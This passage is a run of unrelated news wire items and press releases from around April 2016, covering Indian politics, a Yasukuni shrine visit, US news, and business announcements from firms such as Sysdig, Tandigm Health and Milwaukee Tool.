The members of parliament were led by Vice President of the Japanese Upper House Hidehisa Otsuji.

Visits to the shrine have become a custom of many Japanese politicians during the Spring Festival celebration.

Friday's visit comes one day after Abe sent a tree as a ritual offering to the sanctuary in a gesture protested by Seoul, which urged the Japanese government to make efforts to develop bilateral relations as the visits are viewed as a lack of remorse.

The Yasukuni shrine honours those who died for Japan between the late 19th century and 1945.

Among them were 14 political and military leaders convicted as class-A war criminals by the International Military Tribunal for the Far East at the end of the World War II.

During the early 20th century, Japan colonised the Korean peninsula, Manchuria, some regions of China and almost all of Southeast Asia.
New Delhi, April 22 : Fancy the entire range of Mexican delights under one roof? Head for the Ola Cantina festival with influences of Spanish and South American flavours that runs till the end of the month.

The Mexican trail at Foodhall, the premium lifestyle food superstore at Saket's DLF mall in south delhi, begins at the beverage bar where one can relish a jar of orange and plum Sangria or the agua de tamarindo, along with baked spinach and beetroot tacos and nachos, fresh flour tortillas, pao de queijo and much more.

For the Mexican fiesta, Foodhall has also introduced a fresh salsa bar thast includes raw mango salsa, red pepper & black eyed pea salsa and chimichurri sauce.

Perhaps for the first time in India, purple corn which is popular in Peruvian and South American cuisine has been introduced at the festival.

The spice section is also stocked up with a a varied range of Mexican chilies like habanero and chipotle, Mexican oregano, fajita seasoning, smoked paprika, salsa meringue and cajun spice mix.

Most of Mexico's iconic dishes like tacos, enchiladas and frijoles involve cheese: Crumbled, grated, sliced or melted; Cheddar, Monterey jack and Manchego cotija cheese, Oaxaca and Chihuahua in Mexican dishes contribute to salty, tangy flavors and offset some of the heat from the chilies and spices.

So, indulge in flavors of Mexico at Foodhall all this month to rustle up a spicy Mexican meal at home!
New Delhi, April 22 : In a departure from norms, the National Panchayati Raj Day will be marked in all gram panchayats, as part of the government's 'Gramoday se Bharat Uday' Abhiyan, the Panchayati Raj ministry said in a statement on Friday.

It was so far celebrated only in Delhi.

Prime Minister Narendra Modi will address the Panchayati Raj Sammelan on the occasion of National Panchayati Raj Day (NPRD) on April 24 in Jamshedpur.

A new mandate of the ministry of Panchayati Raj will be released along with the 'Devolution Index Report' by the prime minister on the occasion.

"So far, NPRD was celebrated in Delhi, but this year, as part of the 'Gramoday se Bharat Uday' Abhiyan, the National Panchayati Raj Day is being celebrated in all gram panchayats in the country (except in poll bound States), as gram sabhas are being held between 21-24 April 2016 nationwide," read the statement.

Around 3,000 panchayat representatives from all states of the country will participate in the programme.

The central government, in collaboration with state governments and panchayats, launched the 'Gramoday se Bharat Uday Abhiyan', which started on B.R. Ambedkar's 125th birth anniversary on April 14.
New Delhi, April 22 : The nearly month-long political flux in Uttarakhand continued on Friday as the Supreme Court stayed till April 27 the judgement of the state high court quashing imposition of President's rule in the hill state, in a major reprieve for the Narendra Modi government.

The apex court order had a dampening effect on the Congress camp, which was in jubilant mood after Thursday's order by the state high court, and the mood was predictably sombre in Dehradun.

However, ousted chief minister Harish Rawat maintained: "No one in our camp is unhappy".

On Thursday, the Uttarakhand High Court dealt a major blow to the Modi government when it set aside President's Rule in the state, imposed on March 27, restoring Congress leader Harish Rawat as chief minister.

Reacting to the stay order on Friday, Congress spokesman Ajoy Kumar merely said that the Supreme Court has only put on hold the matter till April 27.

"The Supreme Court did not have the copy of the high court judgement. It's put on hold. We will present our case before the apex court as we did in the Uttarakhand High Court," Kumar told IANS.

Attorney General Mukul Rohatgi, appearing on behalf of the central government, said the apex court's stay order would "revive" the central rule in the state.

The two-member bench of the apex court also hinted that the matter may be referred to a larger constitution bench, implying a long legal process on the cards.

Posting the matter for hearing on April 27, the bench comprising Justices Dipak Misra and Shiva Kirti Singh, said: "It is directed that the judgment of the high court shall remain in abeyance till 27th April, 2016."

It also took an undertaking from Attorney General Rohatgi that "the Centre shall not revoke the Presidential Proclamation till the next date of hearing".

The interim order from the apex court implies that President's or Governor's rule "revives" and the chief minister will have no power or jurisdiction to work any further till further orders, Rohatgi, who also had come under attack from BJP leader Subramanian Swamy for his flip-flop in the high court on Thursday, told reporters outside the court premises.

In Dehradun, Rawat, who chaired two cabinet meetings since Thursday night, seemed to be reconciled to the apex court ruling, and said he would respect the court orders which would also stall attempts to form a government "through the back door".

"This decision (of the Supreme Court) will control the attempts to get a majority through back door and form a government that has no moral right to be there," Rawat said in reference to the opposition Bharatiya Janata Party.

The BJP leaders, both in Delhi and Dehradun, criticised Rawat for chairing cabinet meetings without the governor's orders.

"By taking charge suo motu as chief minister, Rawat has created a constitutional crisis," state BJP spokesman Munna Singh Chauhan told reporters in Dehradun.

Official sources said the cabinet cleared at least 11 proposals pending before the government.

These included re-appointment of over 6,000 guest teachers on a monthly stipend of Rs.15,000. The state cabinet had also recommended an assembly session to be convened on April 29.

Meanwhile, the nine rebel Congress MLAs, who had moved the apex court against their disqualification by the speaker, sought to address the court on their plea.

But senior counsel Kapil Sibal, appearing on behalf of Speaker Govind Kunjwal, noted that their plea was coming before the high court on Saturday.
New Delhi, April 22 : The central government on Friday reiterated its stand on the historic Kohinoor diamond, saying it will "amicably" bring it back from Britain.

"The government of India will take all steps to bring back Kohinoor in an amicable manner," External Affairs Ministry spokesperson Vikas Swaroop told media here.

The government on Tuesday had altered its stand on the issue for the first time after it told the Supreme Court earlier this month that the British East India Company did not take away the Kohinoor diamond but it was gifted to Britain by Maharaja Duleep Singh.

The government changed its stand on the issue after criticism from all quarters.

The 105 carat Kohinoor, now adorning the crown of the British monarch, is kept under tight security in the Tower of London in Britain.
Kolkata, April 22 : Altogether 82.28 percent voters exercised their franchise on Thursday in the third phase of the West Bengal assembly poll comprising 62 constituencies in four districts, election commission officials said on Friday.

Maximum polling (88.95 percent) was recorded at Khandaghosh constituency of Burdwan district where a number of incidents of poll violence were recorded.

The lowest voter turn-out (53.62 percent) was at Jorasanko seat in north Kolkata.

Of the 62 constituencies, 22 were in Murshidabad, 17 in Nadia, seven in north Kolkata and 16 in Burdwan.

Voter turn-out at Domkol constituency in Murshidadbad where Communist Party of India-Marxist activist Tahidul Mondal was killed in poll violence, was 83.54 percent.

Among north Kolkata's constituencies, voter turn was highest at Entally (70.67percent), followed by Maniktala (69.66 percent) and Shyampukur (68.28 percent)
Washington, April 23 : At least five adults and two children were killed in a US state in what appears to be "execution-style" killings, law enforcement officials said on Friday.

All of the victims were believed to be members of the same family, a statement from Ohio Attorney General Mike DeWine and Pike County Sheriff Charles Reader said, CNN reported.

They were found in three homes in Pike County, a rural community about 80 miles east of Cincinnati.

The situation was not being treated as an active shooting and no arrests have been made, the statement said.

Pastor Phil Fulton of Union Hill Church told CNN affiliate WLWT the situation was "very out of character" for the community.

"It's a tragedy," he said.

The Ohio Bureau of Criminal Investigation is leading the investigation. It sent more than a dozen agents to assist the Pike County Sheriff's Office after the request for help came in at 8.21 a.m.
Blue skies prevailed for the March of Dimes March for Babies walk through downtown Farmington on Thursday.

Stacy Abeles is the executive director for the St. Louis market and Southeast region for the organization. Abeles said she was grateful the earlier forecast for rain did not hold and participants had nothing but sunshine for the walk.

A goal of $51,000 has been set for the Farmington walk, which raises money to help fight premature birth  the number one killer of babies in America

March for Babies, formerly known as WalkAmerica, is the March of Dimes largest and longest running fundraiser. The inaugural event was held in San Antonio, Texas on Oct. 7, 1970 and was the first charitable walking event in the United States. More than 45 years later, March for Babies walks are held annually in over 500 communities to help fund lifesaving research and educational programs aimed at helping moms have healthy babies.

Three-year-old Nora Jannin, along with her parents Neil and Brittany, served as this years ambassador family for the walk.

Neil said he was grateful for the prayers and support shown to his family after his daughters birth.

It is special to be honored with Nora, he said. As early as she was born and everything that happened with our pregnancy, before and after.

Shes a feisty little one. From then until now, its a total 180-degree difference. From the research to the doctorsthats why shes here today, too. Also, through God and lots of love and prayers.

The family was introduced to the walkers prior to the start of the event. Brittany held back the tears while sharing the story of Noras birth at 26 weeks gestation.

Around that time, Brittany said, she began developing swelling in her legs and feet  something she believed to be typical for her pregnancy.

One day, Brittany said, she awoke with a terrible headache that would not go away.

I decided I needed to go to the doctor, she said. After a couple of hours, my vision was almost gone.

She called her husband at work in St. Louis, who told his wife to call 911, but she did not believe her condition to be serious enough to call an ambulance.

Her mother-in-law drove her to her doctors office in St. Louis, who  after examining her  told her we are going to have a baby today.

I knew it was too early for the baby, she said, adding she told the nurse my arm feels weird before having three seizures while being checked into the hospital.

Nora was delivered by emergency caesarean section on March 11, 2013 at 26 weeks and four days. She weighed 1 pound, 8 ounces and was 12  inches long.

Her husband, who had rushed to the hospital from work, was not able to see his wife or daughter once arriving since we were not stabilized. The doctor even told the family it would be best to call the familys priest.

I was stabilized and intubated in the ICU for three days, she said. Day three is when I found out I had a baby girl.

Nora would spend 74 days at the neonatal intensive care unit at Mercy Hospital in St. Louis, something Brittany said was an extremely long and emotional journey.

The family would learn the cause for Noras premature birth was due to an acute case of preeclampsia.

(Doctors) cant tell me why or if it will ever happen again, Brittany said. All I know is Ill be monitored closely.

Lindsey Huggins served as the chairwoman for the Farmington walk. Huggins' involvement with the March of Dimes came in 2006 after the loss of her twins, Lucas and Angel. Angel passed in the womb mid-pregnancy and Lucas was stillborn full term, four days before her scheduled caesarean section.

Huggins would suffer another pregnancy loss a year later and said she wants every family to have a chance to bring home a healthy baby.

We are here tonight to support all babies, Huggins said. Those born healthy and those who need our help to survive.

I want every family to have a chance to bring home a healthy baby, Huggins said.

Stacie McDowell, Elaine Moore and Donna Cantrell were walking with a team from Centene Corporation. The three said the company raises money for the walk through a variety of fundraisers and each enjoys the opportunity to walk while supporting healthy babies.

Abeles acknowledged the local businesses and individuals who make the walk a success. The final total amount raised will not be known until later.

The Farmington March for Babies is sponsored locally by Saint Francis Healthcare System, Ozarks Federal Savings and Loan, Parkland Health Center, BJC Medical Group, Mercy Hospital Jefferson and US Tool. B104 FM and the Daily Journal serve as media partners. For additional information, visit marchforbabies.org.
Washngton, April 23 : Twenty civilians were likely killed in US airstrikes in Iraq and Syria between September and February, said the US Central Command in a statement on its website on Friday.

The US forces conducted nine separate airstrikes on the Islamic State (IS) targets from Sept. 10 to February 2, said the statement, adding that another 11 civilians were likely injured.

The first strike, on September 10, bombed an IS checkpoint in Kubaysah, Iraq, leaving two civilians killed and four injured when their vehicle came into the target area during the fight, said the statement.

Another strike on a mortar fire position used by IS fight killed eight civilians in Atshanah, Iraq on October 5, according to the statement.

Three of the nine airstrikes were conducted in Syria during the period, leaving three civilians dead with no injuries reported.

The US central command added that all the strikes complied with the law of armed conflict.
Prime property rents in the sought after Home Counties region of England fell by 0.8% in 2016 following a 1.6% decline in the final quarter of the year.

But activity levels picked up towards the end of the year with tenancies agreed 12% higher between October and December than in the same period in 2015 and 16% higher than the previous quarter.

The latest rental index from Knight Frank suggests that the marginal decline over the course of the year came as stock levels at the top end of the market continued to edge upwards, a trend which has been fuelled by greater uncertainty in the sales market following a series of tax changes.

Knight Frank was instructed to let 39% more properties in between October and December compared with the previous year, and the number of market appraisals, regarded as a good indicator of future stock levels, was up by 45%.

As a result, the report says it remains a tenants market, particularly in higher price brackets, with landlords having to be flexible with regards to asking rents in order to remain competitive and keep void periods to a minimum.

The number of viewings rose 17% over the same time compared with 2015, while the volume of new prospective tenants increased by 28%.

Agents noted that much of this demand was focused on the sub-4,000 per month price bracket with such properties often letting faster than those in higher price brackets.

This section of the market was also boosted by an increase in corporate enquiries from company executives moving to the Home Counties for work over the course of the quarter. Accordingly, some 77% of corporate enquiries in December, for example, had budgets of between 1,000 and 4,000 per month.

Agents pointed out that there has also been a pickup in interest for lets of 10,000 and above in the super prime rental market.
SeriorAdvisor.com's annual Best of Awards celebrate the best senior living and home care throughout the United States and Canada. Of the nearly 100,000 providers eligible to receive the award, just over 1,000 were recognized for this distinguished award.

Based on online reviews written by seniors and their family members, this exclusive designation celebrates the best of the best according those who matters most - the consumers. Winners of the 2016 Best of Awards represent the top tier of in-home care, assisted living, and other senior living providers with only one percent of the total providers being recognized.

Assisted and independent living facilities are a dime a dozen. Yet top-quality ones that put their residents first are surprisingly rare. Luckily, Benchmark Senior Living is an accessible high-quality choice.

The care offered at Benchmark Senior Living is top-notch. Its dedicated to the individual and is tailored to the needs of each resident. The company wants each seniors life to be as happy as possible.

Benchmark Senior Living operates dozens of communities across New England. They have senior living communities located in Connecticut, Maine, New Hampshire, Massachusetts, Pennsylvania, Rhode Island, and Vermont.

The specific services offered by Benchmark are varied. They can each be tailored for the individual resident in question. Their most common services are independent living, assisted living, memory care, respite care, and skilled nursing.

There is a reason Benchmark Senior Living is so successful  and that reason is their unique approach to senior care. They combine the best medical service with the warmth and hospitality of home. They want residents to feel like theyre at home, not just another care facility.

Benchmark Senior Living has maintained an outstanding online reputation for several years, and regularly receives highly positive reviews from their families like the ones below from some of their winning communities:

"The people there were very caring and accommodating. We are very pleased with the place and would highly recommend The Village at South Farms to anyone." - Family member of resident

"My encounters thus far have been very pleasant at Academy Point At Mystic. Mom is a difficult person and the staff have dealt with her really well. I haven't had any difficulties. They are good with communication if she needs to see a doctor or anything else. I really appreciate that." - Family member of resident

"My family and I researched and visited several assisted living communities in our area. The process can be overwhelming and exhausting. Upon entering Middlebrook Farms of Trumbull, we were welcomed and immediately put at ease. Their staff is genuinely friendly and caring. The environment is beautifully decorated and very clean." - Daughter of resident

"The staff is fantastic, they have made my dad feel welcomed from day one." - Son of resident at Benchmark Senior Living at Billerica Crossings

"I think they've done a good job so far taking care of my loved one at Harbor Point of Centerville. They do a great job making people feel at home and like they are a part of the community. The staff are very friendly, and keep the place nice and clean. My loved one really seems to have settled in well here!" - Family member of resident

Families are increasingly looking to online reviews to find out who truly delivers great care for our seniors, not just who claims to deliver great care, said Eric Seifert, President of SeniorAdvisor.com. Our SeniorAdvisor.com Awards program is all about celebrating the exceptional people who do just that. Were honored to spread the word about these organizations whom families can entrust with the care of their senior loved ones.

To qualify for inclusion in the Best of 2016 Awards, providers must have maintained an average overall rating of at least 4.5 stars while receiving three or more new reviews in 2015. Additional details and a complete list of award winners can be found on SeniorAdvisor.com. To see the full list of award winners, please visit https://www.senioradvisor.com/awards/best-assisted-living

About SeniorAdvisor.com LLC

SeniorAdvisor.com is the largest consumer ratings and reviews site for senior living communities and home care providers across the United States and Canada. The innovative website provides easy access to the information families need when making a senior care decision, and features trusted reviews and advice from local residents and their loved ones. For more information, please visit http://www.SeniorAdvisor.com or call (866) 592-8119.
"With fewer servers, hard disk arrays, and other components running, it stands to reason that your energy bills will go down."

In another way to celebrate Earth Day, New Jersey's leading IT support company, Quikteks, advocates the reduction of the carbon footprint associated with information technology through virtualization.

According to Andrew Rich, CEO and owner of Quikteks, one of the best ways for businesses to reduce their IT carbon footprint is via virtualization. "Virtualization allows you to make the most of your existing hardware," he explained. "For example, instead of buying and powering a second, third, or fourth server for various purposes, virtualization can be used to create standalone systems within your existing server. This reduces both your upfront and operating costs, and it has a much smaller impact on the environment."

What types of IT can be virtualized? Some of the more common IT virtualization projects Quikteks deploys in New Jersey include: server virtualization, desktop virtualization, storage virtualization, hardware virtualization, and application virtualization.

"Virtualization also supports remote access," Rich explained. "With a virtual desktop, employees can log into their desktops at the office, at home, or at a hotel when traveling on business, or even at customer's location. No matter where they are, the virtual desktop is exactly the same. Employees have seamless access to their documents, company databases, network assets, personal preferences, operating system features, RAM, and processing power."

This remote access, in turn, further helps the environment by facilitating telecommuting. "By allowing employees to work from home occasionally, you're reducing carbon associated with commuting while also providing employees with a desirable perk that could help with your long-term employee retention."

Another benefit of virtualization involves lower energy bills. "In a virtualized environment, the number of physical components is reduced, often dramatically. With fewer servers, hard disk arrays, and other components running, it stands to reason that your energy bills will go down," he said. "Meanwhile, those that you do have will generate much less heat. Your air conditioning system will not need to work as hard to keep the hardware and the building cool, resulting in further energy savings and environmental benefits."

Finally, businesses that use IT virtualization may be able to downsize, but in a good way. "With a smaller data center, some businesses actually move to a smaller location when their lease is up for renewal," Rich said. "Others take advantage of their newfound office space."

With Earth Day just around the corner, Quikteks is offering a $500 credit to New Jersey businesses looking to virtualize their network.

About Quikteks

Based in Fairfield, New Jersey, Quikteks delivers cutting-edge, reliable and cost-effective business technology solutions to small and medium-sized businesses in the Tri-State area. The company's computer solutions include 24-hour tech support, help desk support, computer support, consulting, and storing valuable and confidential data in a secure cloud.

For More Information:

Email: info(at)quikteks(dot)com

Phone (973) 882-4644

Web: https://www.quikteks.com
Groundbreaking at the Milwaukee Tool expansion announcement in Brookfield. Milwaukee Tool is dedicated to driving growth and creating new jobs in Wisconsin, and throughout the United States.

Wisconsin Governor Scott Walker joined Milwaukee Tool in announcing nearly 600 jobs in the next five years at their headquarters in Brookfield for a groundbreaking ceremony on April 11. Milwaukee Tool has been approved for a 200,000 square-foot expansion, which is a collaborative effort between the company, the city of Brookfield, Milwaukee 7, and the Wisconsin Economic Development Corporation (WEDC).

Wisconsin is strong, and continues to move forward, Governor Walker said. More people are working and fewer are unemployed, and our businesses continue to grow throughout the state. Were happy to be here in Brookfield to celebrate the expansion of Milwaukee Tool and work with them to provide state income tax credits for employee retention, job creation, and capital investment.

Milwaukee Tool has been a manufacturer of heavy-duty power tools, accessories, and hand tools for professionals worldwide since 1924. They focus on providing innovative, trade-specific solutions for plumbing, mechanical, electrical, HVAC, MRO, and remodeling trades to make them more productive.

Milwaukee Tool is dedicated to driving growth and creating new jobs in Wisconsin, and throughout the United States, said Milwaukee Tool Group President Steve Richman. We firmly believe that, through investing in our people, we will deliver disruptive innovation and the highest quality products to our users and distribution partners.

Over the last ten years, Milwaukee Tool has redeveloped 190,000 square-feet of former manufacturing space for their global research and development center. As a result, the company has grown from just over 207 jobs in 2008 to 800 jobs in 2016 at its Brookfield campus. Milwaukee Tools new 200,000 square-foot expansion includes a new four-story office building on campus, adjoined to the current facility, and the company estimates that nearly 600 jobs will be added within the next five years. Most of these new positions will be focused on research and development in engineering and marketing, with an average salary of $75,000. The proposed expansion will make Milwaukee Tool the largest employer in Brookfield.

Were delighted that Milwaukee Tool has chosen our region for this major expansion, said Gale Klappa, co-chair of Milwaukee 7 and chairman and CEO of WEC Energy Group. There is intense competition from across the country when these opportunities arise. Milwaukee Tools decision to expand here underscores the strength of our regional assets that make Milwaukee a premiere destination for manufacturing investment.

Milwaukee Tool was certified under the WEDC Enterprise Zone Program to earn up to $18 million in state income tax credits based on retention and creation of full-time employment positions and significant capital investment for both their Brookfield and Mukwonago facilities. The Enterprise Zone designation and certification for earning tax credits will last for a period of six years, beginning January 1, 2016.
Tandigm Health, a value-based healthcare company supporting primary care physicians, today announced positive first-year results, validating the model of rewarding doctors for quality of care instead of quantity. The company saw notable progress on key measures and was able to pay meaningful incentives to the more than 380 participating primary care physicians for improving the health of the 100,000 patients they serve.

Tandigms model focuses on engaging, enabling and empowering its network of primary care physicians with the tools and resources needed to provide the highest quality care to their patients. In its first year, this additional support enabled Tandigms network to reduce emergency room visits by 800 and reduce total Medicare costs by 3 percent. These positive outcomes are the result of Tandigm doctors providing proactive, coordinated care to their patients. Although final results are not yet available, early marks for doctors in the Tandigm network show high performance across industry-standard quality measures, such as the Healthcare Effectiveness Data and Information Set (HEDIS) and Centers for Medicare and Medicaid Services (CMS) STARS. Driving quality, proactive care allowed Tandigm to reduce care costs by $15 million last year.

Tandigm is a positive disruptor in the movement toward value-based healthcare, said Tandigm President and CEO Dr. Anthony Coletta. We recognize that primary care physicians are uniquely positioned to influence the quality and cost of care because they serve as the first line of health care for most Americans. The current state of our health care system is unsustainable. We see our value-based model as a path forward to better health for our patients, stronger practices for our physicians, and effective ways to lower healthcare costs.

Tandigm considers primary care physicians vital in addressing health problems early and helping patients avoid costly  and often unnecessary  emergency room visits or hospitalization. Tandigm, a joint venture between Independence Blue Cross and DaVita Healthcare Partners, provides doctors the tools and resources needed to deliver coordinated, proactive care and offers meaningful incentives to enhance patient care. As a result of the improved health outcomes across its patient population, Tandigm expects to pay the physicians in its network more than $20 million in meaningful incentives above their base compensation. Of the $20 million, $8 million provided month-to-month support of Tandigm physician practices for the care of their patients and $12 million was earned by the physicians as a result of delivering quality care.

Value-based care is a growing movement in the United States which focuses on rewarding physicians for the quality of their care, rather than the volume of services they provide. Tandigm has invested in innovative technology and resources, such as population management tools to identify those patients most in need, and nurses to help coordinate care right in physicians offices. These and other programs are enabling Tandigms doctors to actively improve access, engagement and health management for their patients through telephonic support, proactive outreach, increased availability and patient education.

Early results from Tandigm are incredibly promising, said Independence Blue Cross President and CEO Daniel J. Hilferty. Independence is committed to leading change and innovation in health care, and making significant investments in programs which deliver superior, coordinated care and drive down costs. Just think of the potential impact if we expanded Tandigm Healths primary care-centered model in our region  one of the most expensive health care markets in the United States.

In its first year, the company has grown significantly. The patient population cared for by participating Tandigm physicians grew by 30,000 to a total of 100,000 patients. Tandigm expanded the number of participating physicians from 270 to 380, and increased the number of full-time employees from 27 to almost 90. Tandigm also announced in 2015 that it had formed collaborative partnerships with Holy Redeemer / Innovative Wellness Alliance and Doylestown Healthcare Partnership.

Our commitment to Tandigm doctors from the start was to incentivize them for providing a high quality of care to patients, said Kent Thiry, chairman and CEO of DaVita HealthCare Partners Inc. In Tandigms first year, its primary care physicians exceeded expectations  delivering superior care through a more coordinated, effective and efficient healthcare process.

About Tandigm Health

Tandigm Health is dedicated to enhancing primary care physicians ability to provide the finest possible care while lowering costs through a more coordinated, proactive model. By providing greater tools and resources to its network of over 380 doctors, Tandigm puts primary care physicians back at the center of patient care. Tandigm Health is a 50-50 joint venture between Independence Blue Cross, the leading health insurer in southeastern Pennsylvania, and DaVita HealthCare Partners, a leading independent medical group in America. To learn more about Tandigms approach to value-based healthcare, visit http://www.tandigmhealth.com.

About DaVita HealthCare Partners

DaVita HealthCare Partners Inc., a Fortune 500 company, is the parent company of HealthCare Partners and DaVita Kidney Care. HealthCare Partners manages and operates medical groups and affiliated physician networks in Arizona, California, Nevada, New Mexico, Florida and Colorado in its pursuit to deliver excellent-quality health care in a dignified and compassionate manner. As of December 31, 2015 HealthCare Partners provided integrated care management for approximately 807,000 patients. DaVita Kidney Care is a leading provider of kidney care in the United States, delivering dialysis services to patients with chronic kidney failure and end stage renal disease. As of December 31, 2015, DaVita Kidney Care operated or provided administrative services at 2,251 outpatient dialysis centers located in the United States serving approximately 180,000 patients. The company also operated 118 outpatient dialysis centers located in 10 countries outside the United States. For more information, please visit DaVitaHealthCarePartners.com.

About Independence Blue Cross

Independence Blue Cross is the leading health insurance organization in southeastern Pennsylvania. With our affiliates, we serve nearly 9 million people in 32 states and the District of Columbia, including 2.5 million in the region. For nearly 80 years, we have been enhancing the health and wellness of the people and communities we serve by delivering innovative and competitively priced health care products and services; pioneering new ways to reward doctors, hospitals, and other health care professionals for coordinated, quality care; and supporting programs and events that promote wellness. To learn more, visit http://www.ibx.com. Connect with us on Facebook at ibx.com/facebook and on Twitter at @ibx. Independence Blue Cross is an independent licensee of the Blue Cross and Blue Shield Association.
Sysdig monitors container-based infrastructures Sysdig was born to address the specific monitoring and troubleshooting needs for containers and the microservices built on top of them.

Sysdig, the container-native monitoring company, today announced a $15 million Series B funding round by existing investors Accel and Bain Capital Ventures. Sysdig will use the funds to accelerate growth, to continue building out its core technology for container and microservice environments, and to scale its operations and world-class support infrastructure to meet growing demand.

Containers are the building block for microservices, and represent the next great platform shift for software developers in enterprises of all sizes, said Loris Degioanni, CEO and founder of Sysdig. While containers deliver efficiency and agility for developers, they introduce additional complexity for monitoring, troubleshooting, and operating production environments. Sysdig was born to address these specific needs for containers and the microservices built on top of them.

According to a recent survey, 81 percent of respondents expect their companies to increase the investment in container-based technology. Respondents ranged from industry verticals including retail, banking/finance, manufacturing, and Internet infrastructure.

Accel Partners and Bain Capital Ventures co-led this round of funding. Containers will address the majority of use cases that heavier virtual machines do today, plus more that virtual machines cannot, said Salil Deshpande, Managing Director at Bain Capital Ventures, who joins the board of Sysdig. Whats needed now is software that natively understands containers, applications running within them, and services built on top of them. Sysdig has all of these capabilities and more.

Sysdig Cloud is based on sysdig, the open source troubleshooting tool that has been downloaded by hundreds of thousands of developers, devops, and sysadmins around the world. Its patentpending ContainerVision technology provides deep, requestlevel visibility inside containers without invasive instrumentation. This approach succeeds for container monitoring where legacy monitoring fails, and at the same time makes monitoring applications and microservices simpler and more robust.

Company sails past 100 enterprise customers

The service and support I've received from the Sysdig team was really impressive. I encourage anyone looking to run containers in a production environment to talk to them first.



Branden Makana, Senior Software Engineer, CDK Global

From exploration down to deep system captures, Sysdig has a complete approach to monitoring containerized environments.



Zachary Smith, CEO of Packet

In less than 8 months since general availability, Sysdig has passed 100 enterprise customers. More than a third of those have signed up in this year alone. These customers represent a broad range of industries and company sizes. For example:

*Industries such as finance, healthcare, media, telecommunications, technology, and consulting are using Sysdig Cloud

*Multiple Fortune 500 companies

*Companies from North America, Europe, and Asia-Pacific are adopting the solution

Customers are adopting Sysdig cloud for the ability to monitor production environments that require deep visibility into not only containers but also the microservices built on top of them. Chris Crane, VP of Product at Sysdig noted, Our strategy combines container-native monitoring with native integration across ecosystem players like Docker, Kubernetes, and Mesosphere, as well as cloud providers like AWS and Google. These native integrations customers service-oriented visibility, and the flexibility to choose the right mix of tools for their environment.

About Sysdig

Sysdig (Twitter: @sysdig), the container-native visibility company, is creating a new generation of performance management solutions to deliver monitoring, alerting, and troubleshooting in a microservices-friendly architecture. The companys open source sysdig technology has attracted a community of hundreds of thousands of developers, administrators and other IT professionals looking for deep visibility into systems and containers. Sysdig Cloud is the first and only comprehensive, container-native monitoring solution for applications and infrastructures.
As part of a user experience (UX) initiative, Belatrix is holding a series of UX talks at universities in Buenos Aires during April. The talks, entitled What is UX design and how to make it profitable? are aimed at college students and teachers. The talks explore the concept of UX, the UX process, and how to measure user satisfaction, among other topics.

The design of attractive and memorable user experiences has become a top priority for organizations. Reflecting its importance, Belatrix has created a UX initiative that started in March, with webinars, whitepapers, and blogs all dedicated to the topic.

What we aim to show in these conferences is the importance of focusing our minds on the user and how they feel when using an application. The design of a good UX strategy is of critical importance. More and more companies are realising that they need UX and design help with their product development efforts, commented Alex Robbio, Belatrixs President and Co-Founder.
Delaney, 26, a barman win a winning mix. The bar culture is ever-evolving and the drinks have to reflect, or even, lead that change.

Craft cocktail expert Adam Delaney, known in the San Francisco bar scene as Delaney, has a passion for creating hand-crafted cocktails that honor past classics while pushing a fresh perspective. His skills for mixing up some of the Bay Areas best drinks recently landed him a first place finish and a trip to Italy in the Montenegro Mix-off. The nationwide promotion pitted the countrys best tastemakers in a competition to create a signature drink that included 1 oz. of Amaro Montenegro, the promoters namesake liqueur.

Before his Italian payoff, Delaney, 26, faced regional winners in an Iron Chef inspired Mix-off at Tales of the Cocktail in New Orleans, the worlds premiere cocktail festival. I figured, lets go for it! I knew my drink really highlighted the integrity and layered character of the Amaro, but taste is so personal. I had no idea if the judges or the crowd would taste it the same way, said Delaney. They obviously did. With the first place win, Delaneys ability to inherently understand the publics ever-evolving taste trends was proven to be spot on, As a barman, I have to know where weve been and where were going when it comes to drinks. The bar culture is ever-evolving and the drinks have to reflect, or even, lead that change.

After New Orleans, Delaney was treated to a five day all-expense paid trip to Italy that included a stop in Bologna, the sponsors headquarters. It was all pretty sweet. The trip, the history, the hospitality that I was shown by Montenegro  all over one drink.

With another notch on his cocktail belt, Delaney returned to San Francisco to face his next challenge  completing plans for his premiere bar concept with his business partner Selena Donovan. Italy was the final step I needed in cementing the plans for my first business endeavor  an original bar concept that I feel is missing in the bay area. Travel and a great drink can really fuel inspiration. Now all I have to do is choose the perfect location and partner with investors who share my passion for creating something fresh but familiar, he added. If Delaneys instinct prove him right again, that decision should be as easy as mixing a new drink.

Delaneys Montenegro Mix-off Winning Recipe

The Bitter Fix*

1 1/4 oz. Amaro Montenegro

3/4 oz. Lemon Juice

1/2 oz. Pineapple Syrup

1/4 oz. Grand Marnier

Shake, Pour over crushed ice in a Rocks glass,

2 orange slices to garnish.

*A "Fix" was an old style classification for cocktail. Essentially just a fancy Sour built (I prefer to shake it) over crushed ice and dressed w/ seasonal fruits.
Learners will have access to the brightest minds in the world, and on a one-on-one basis.

For hundreds of years there have been schools and places of higher education. Students would attend these education centers with hopes of acquiring an education. Some did, and some did not. There were always the teachers, and their tools were books. Along came the Internet and a new dimension of how to gain information was created. Still, the failure rate of the education system remains quite high. There clearly must be a better way, or at least an adjunct to the archaic standard methodology of education.

Carrone Conroy, a teacher from New Zealand, has developed that better way. The fact that students, or learners have a better success rate when working with tutors or Mentors, is what inspired him to develop the idea of an online platform that would match-up Mentors with Learners. This was a brilliant idea, and has established a new paradigm in the way people can learn from those who are clearly experts. This can apply to any category of education or industry. There are no boundaries when it comes to the global availability of such experts. Learners will have access to the brightest minds in the world, and on a one-on-one basis.

During a recent interview, Carrone made these comments: As with everything, you have to start small and I will start of focusing on the teachers professional development industry. Matching junior teachers up with independent senior mentors. If this model works within teaching, I'll then role it out to other industries that have already shown interest, such as entrepreneurs, aspiring managers and lawyers. This model could be used within the tutoring industry and so on. A crowdfunding campaign is being launched on Indiegogo.com to raise funds to bring this new vision of the future of education into reality. Funds will be used for programming and website design. This is a great opportunity to be part of something that can bring a better degree of education to all people.

For complete information, please visit: Carrone Conroys Crowdfunding Campaign

Media Contact:

Carrone Conroy

Attn: Media Relations

Wellington, NZ

+64272591373

carrone(at)elitementoring.co
This achievement underscores the importance of validation and comprehensive system testing in the development of Solar Racking Products.

Ecolibrium Solar, a leading supplier of solar racking systems for commercial and residential applications, announces that the Ecolibrium Boulder R&D Laboratory is now a Certified Partner Lab by TUV Rheinland PTL. Under the Partner Lab Program, Ecolibrium Solar is qualified to conduct testing, within their scope of accreditation, to ANSI/UL2703, while TUV Rheinland PTL will provide any additional testing if required and UL2703 certifications for Solar Racking products.

